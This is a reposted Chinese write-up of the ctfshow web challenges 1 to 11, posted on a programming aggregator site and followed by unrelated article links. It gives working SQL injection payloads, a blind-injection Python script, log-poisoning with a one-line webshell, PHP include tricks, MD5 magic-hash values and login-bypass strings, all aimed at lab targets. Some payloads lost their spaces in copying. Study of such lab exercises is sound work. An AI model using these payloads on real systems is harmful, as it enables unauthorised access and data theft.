我的编程空间,编程开发者的网络收藏夹
学习永远不晚

ctfshow web(不定期更新)

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

ctfshow web(不定期更新)

web1

源码

web2

最基本的sql注入

web3

考点:php伪协议

ctf.show_web3<?php include($_GET['url']);?>

文件包含漏洞,使用php伪协议探测
php://input 可以访问请求的原始数据,配合文件包含漏洞可以将post请求体中的内容当做文件内容执行,enctype=multipart/form-data"时,php://input将会无效
在这里插入图片描述
然后使用文件包含
在这里插入图片描述

web4

考点:日志注入
web3的升级,过滤了php伪协议,使用日志注入
访问/var/log/nginx/access.log可以查看到我们输入的参数记录
在这里插入图片描述
在user-agent种写入一句话木马
在这里插入图片描述
因为日志文件中的代码会被执行。
然后用蚁剑连接(连接目标:http://xxx/?url=/var/log/nginx/access.log)在www目录下找到flag.txt

web5

考点:php代码审计

        $flag="";        $v1=$_GET['v1'];        $v2=$_GET['v2'];        if(isset($v1) && isset($v2)){            if(!ctype_alpha($v1)){                die("v1 error");            }            if(!is_numeric($v2)){                die("v2 error");            }            if(md5($v1)==md5($v2)){                echo $flag;            }        }else{                    echo "where is flag?";        }    ?>

ctype_alpha用来检测是否只含有字符,不是则为false
is_numeric用于检测是否是纯数字
绕过方法:如果是以数字开头的字符串,使用is_numeric的时候会自动去掉后面的字符,将其前面的数字取出来判断
eg:a=1234abc在is_numeric判断时会当做1234

最后一个if是php的弱等于
弱等于判断的时候,如果两边的类型不同,则先是将类型转换成相同的,再进行比较
MD5弱等于绕过:有些字符md5后的值为0e开头,会被当做科学计数法,也就是0.所以当找到2个字符md5后的值都为0e开头时即可绕过
常用的值:

开头为0E(MD5值) 字母数字混合类型:
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
纯大写字母:
QLTHNDT
0e405967825401955372549139051580
QNKCDZO
0e830400451993494058024219903391
EEIZDOI
0e782601363539291779881938479162
纯数字:
240610708
0e462097431906509019562988736854
4011627063
0e485805687034439905938362701775
4775635065
0e998212089946640967599450361168
4790555361
0e643442214660994430134492464512
5432453531
0e512318699085881630861890526097
5579679820
0e877622011730221803461740184915
5585393579
0e664357355382305805992765337023
6376552501
0e165886706997482187870215578015
7124129977
0e500007361044747804682122060876
7197546197
0e915188576072469101457315675502
7656486157
0e451569119711843337267091732412

任意使用2个即可
在这里插入图片描述

web6

在这里插入图片描述
web2的升级版,做了过滤
fuzz一下
发现空格被过滤了
在这里插入图片描述
绕过方法:内联注释, %a0等
参考:SQL注入一些过滤及绕过总结

这里使用进行绕过
数据库名:-1'unionselect1,database(),3#
在这里插入图片描述
表名:-1'unionselect1,group_concat(table_name),3frominformation_schema.tableswheretable_schema=database()#
在这里插入图片描述
字段名:-1'unionselect1,group_concat(column_name),3frominformation_schema.columnswheretable_name='flag'#
在这里插入图片描述
查flag内容:-1'unionselect1,flag,3fromflag#
在这里插入图片描述

web7

与we6相同
考点:sql注入 注入点的寻找
在这里插入图片描述
看到形如?id=1这样的就联想到sql注入
永真式测试:
在这里插入图片描述
存在sql注入但是被过滤了。fuzz一下和web6一样依然是过滤空格
绕过参考第6题,使用
寻找回显点:-1'unionselect1,2,3#
在这里插入图片描述
回显点:2,3
后面和web6一样

web8

考点:sql盲注
依旧是sql注入,fuzz一波先
在这里插入图片描述
单引号、空格、union、逗号等被过滤了
猜测是数字型注入
测试:?id=1or1=1#
在这里插入图片描述
回显全部

-1or1=2#

在这里插入图片描述
无回显

考虑盲注
注意:逗号被过滤了,substr中可以用from for 来绕过,单引号被过滤了,表名可以用十六进制来表示
在这里插入图片描述
脚本:

import requeststarget = "http://83f0f603-456d-4fd9-8c36-6c452e42c2b4.challenge.ctf.show/index.php?id=-1or"result = ''for i in range(1,128):    #database_payload = "ascii(substr(database()from%dfor1))=%d#"     #获取数据库名    #table_payload = "ascii(substr((selectgroup_concat(table_name)frominformation_schema.tableswheretable_schema=database())from%dfor1))=%d"    #column_payload = "ascii(substr((selectgroup_concat(column_name)frominformation_schema.columnswheretable_name=0x666c6167)from%dfor1))=%d"    flag_payload = "ascii(substr((selectflagfromflag)from%dfor1))=%d"    count = 0    for j in range(31,128):        r = requests.get(url=target+flag_payload % (i,j))       #自行切换payload        if "If" in r.text:  #返回true的页面存在If            result += chr(j)            print("result:%s" % result)            break        count += 1        if count >= 97:     #字符不存在,循环结束            exit()

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

web9

考点:MD5加密
在这里插入图片描述
登录页,尝试sql注入无果,以为是弱口令,也没爆破出来
不知道做什么的时候就扫扫目录试试。发现robots.txt文件
访问
在这里插入图片描述
访问index.phps,下载源码:

        $flag="";$password=$_POST['password'];if(strlen($password)>10){die("password error");}$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";$result=mysqli_query($con,$sql);if(mysqli_num_rows($result)>0){while($row=mysqli_fetch_assoc($result)){ echo "登陆成功
"
; echo $flag; }} ?>

漏洞点:select * from user where username ='admin' and password ='".md5($password,true)."'

md5()函数
在这里插入图片描述
当参数为true时,返回的是字符二进制格式
漏洞利用字符:ffifdyop
经过参数为true的md5加密后为:'or'6xxx
在这里插入图片描述
因此拼接到sql语句中就是select * from user where username ='admin' and password =''or'6xxx'
非0数字在or后面被当做true,故满足条件

web10

考点:sql注入-with rollup
点击取消下载得到源码:

$flag="";        function replaceSpecialChar($strParam){             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";             return preg_replace($regex,"",$strParam);        }        if (!$con)        {            die('Could not connect: ' . mysqli_error());        }if(strlen($username)!=strlen(replaceSpecialChar($username))){die("sql inject error");}if(strlen($password)!=strlen(replaceSpecialChar($password))){die("sql inject error");}$sql="select * from user where username = '$username'";$result=mysqli_query($con,$sql);if(mysqli_num_rows($result)>0){while($row=mysqli_fetch_assoc($result)){if($password==$row['password']){echo "登陆成功
"
;echo $flag;} }} ?>

定义了过滤函数,对username和password进行过滤,然后判断输入的password是否对应根据我们输入的username从数据库中查到的密码
解题思路:with rollup注入
with rollup 可以对 group by 分组结果再次进行分组,并在最后添加一行数据用于展示结果( 对group by未指定的字段进行求和汇总, 而group by指定的分组字段则用null占位)
例如:
在这里插入图片描述
可以看到最后一行就是使用with rollup的效果, 增添了一行数据,对group by指定的字段为Null,其余字段进行汇总
所以我们如果使用永真式1’ or 1=1 之后会把所有的用户名和密码查出来,其中有password字段,这时我们group by password字段再with rollup就会生成一个新行这一行的password字段为Null

while($row=mysqli_fetch_assoc($result)){if($password==$row['password']){echo "登陆成功
"
;echo $flag;}

经过将结果集循环遍历最后就会取出为Null的password值。这个时候只要输入框中password为空就会Null==Null
通过判断
payload:'or1=1groupbypasswordwithrollup#
在这里插入图片描述

web11

考点:session

        function replaceSpecialChar($strParam){             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";             return preg_replace($regex,"",$strParam);        }        if(strlen($password)!=strlen(replaceSpecialChar($password))){            die("sql inject error");        }        if($password==$_SESSION['password']){            echo $flag;        }else{            echo "error";        }    ?>

$_SESSION用于获取session中记录的值
这里是获取session中存的password的值,由于不知道session中password中的值,可以直接将其置空,然后输入也为空即可
在这里插入图片描述

来源地址:https://blog.csdn.net/pakho_C/article/details/127011238

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

ctfshow web(不定期更新)

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

Python定期从SVN更新文件

如果一个测试站点要及时的从svn获取最新的文件,那么写一个定期更新程序是非常必要的,下面的代码Python的简单实现svnupdate.pyimport time,os,sys,svnconfigdist=svnconfig.setting
2023-01-31

SSL证书需要定期更新吗

是的,SSL证书需要定期更新。SSL证书通常有一个有效期限,通常为1年或更长时间。一旦证书到期,网站的SSL连接将不再受保护,会出现安全风险。因此,定期更新SSL证书是非常重要的。通常,网站管理员会在证书到期前几周或几个月提前申请新证书并更
SSL证书需要定期更新吗
2024-04-17

为什么网站需要定期更新

提升用户体验:定期更新网站可以增加新的内容和功能,使用户在访问网站时获得新的体验,增加用户的粘性和活跃度。提升搜索引擎排名:搜索引擎对网站的更新频率也有一定要求,定期更新网站可以提升网站的被搜索引擎收录的频率和排名。保持竞争力:互联网是一个
为什么网站需要定期更新
2024-04-17

mysql刷题(不定时更新)

面试阶段大家基本都会问一些mysql的题,具体的高深理论以后再慢慢补充,但是刷题是不可避免的,下面直接上货创建/删除表和索引系列创建表CREATE TABLE if not exists `test_date` ( `id` int(11) NOT NULL
mysql刷题(不定时更新)
2017-12-21

为什么网站要定期更新内容

本篇内容介绍了“为什么网站要定期更新内容”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!  网站SEO优化为什么要定期更新内容?  1、用户体
2023-06-10

python 多线程实现定期更新ip库

通过最近监控发现,使用第三方Cdn公司的带宽偏高。由于最近没有增加新的业务。感觉其中肯定有问题。按照我们的Cahe架构,用户首先到我们自建Cache节点获取数据,如果该区域没有我们的节点,会去第三方节点进行取数据。具体架构如下:      
2023-01-31

如何设置CentOS系统以定期更新安全补丁

要设置CentOS系统以定期更新安全补丁,可以按照以下步骤进行操作:1. 配置yum自动更新:打开终端,输入以下命令打开yum-cron配置文件:```sudo vi /etc/yum/yum-cron.conf```在文件中找到`appl
2023-10-12

服务器安全补丁:为什么你需要定期更新?

服务器安全补丁是保护服务器免受最新威胁的必要步骤。定期更新补丁可以确保服务器始终运行最新、最安全的软件。
服务器安全补丁:为什么你需要定期更新?
2024-02-27

Win11更新找不到指定模块如何解决

出现"找不到指定模块"错误可能是由于系统文件缺失或损坏所致。以下是一些常见的解决方法:1. 运行系统文件检查工具:按下Win + X,选择“命令提示符(管理员)”或“Windows PowerShell(管理员)”,然后输入“sfc /sc
2023-08-22

Laravel 和 CodeIgniter 的近期更新和未来发展方向有何不同?

laravel 和 codeigniter 的近期更新和未来发展方向存在差异,具体如下:近期更新: laravel 推出了 laravel 9 和计划推出 laravel 10,重点关注云集成和查询优化;codeigniter 发布了 co
Laravel 和 CodeIgniter 的近期更新和未来发展方向有何不同?
2024-05-12

Win8如何更新指定驱动程序不想所有设备的驱动程序都更新

经常点击更新,所有设备的驱动程序都一起更新了,但有些是没必要更新的,如何避免这种情况,只要更新指定的驱动程序就好?其实方法很简单,下面我们以Win8系统为例,详细的介绍Win8如何更新指定的驱动设备。Win8更新指定驱动程序的步骤:1、右键
2022-06-04

如果在流程执行期间更改时区,时间包中的区域方法不会返回更新的时区

你在学习Golang相关的知识吗?本文《如果在流程执行期间更改时区,时间包中的区域方法不会返回更新的时区》,主要介绍的内容就涉及到,如果你想提升自己的开发能力,就不要错过这篇文章,大家要知道编程理论基础和实战操作都是不可或缺的哦!问题内容我
如果在流程执行期间更改时区,时间包中的区域方法不会返回更新的时区
2024-04-04

更新SSL证书报错:指定的登录会话不存在,可能已被终止

IIS 更新SSL证书时报错windows服务器上的证书过期了,重新申请了一个然后进行替换的时候出错了;如图解决方法在mmc的计算机账户中在重新导入pfx格式证书。然后在到IIS中重新分配选择新证书即可;如不了解重新导入证书,请参考指南:I
2023-06-03

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录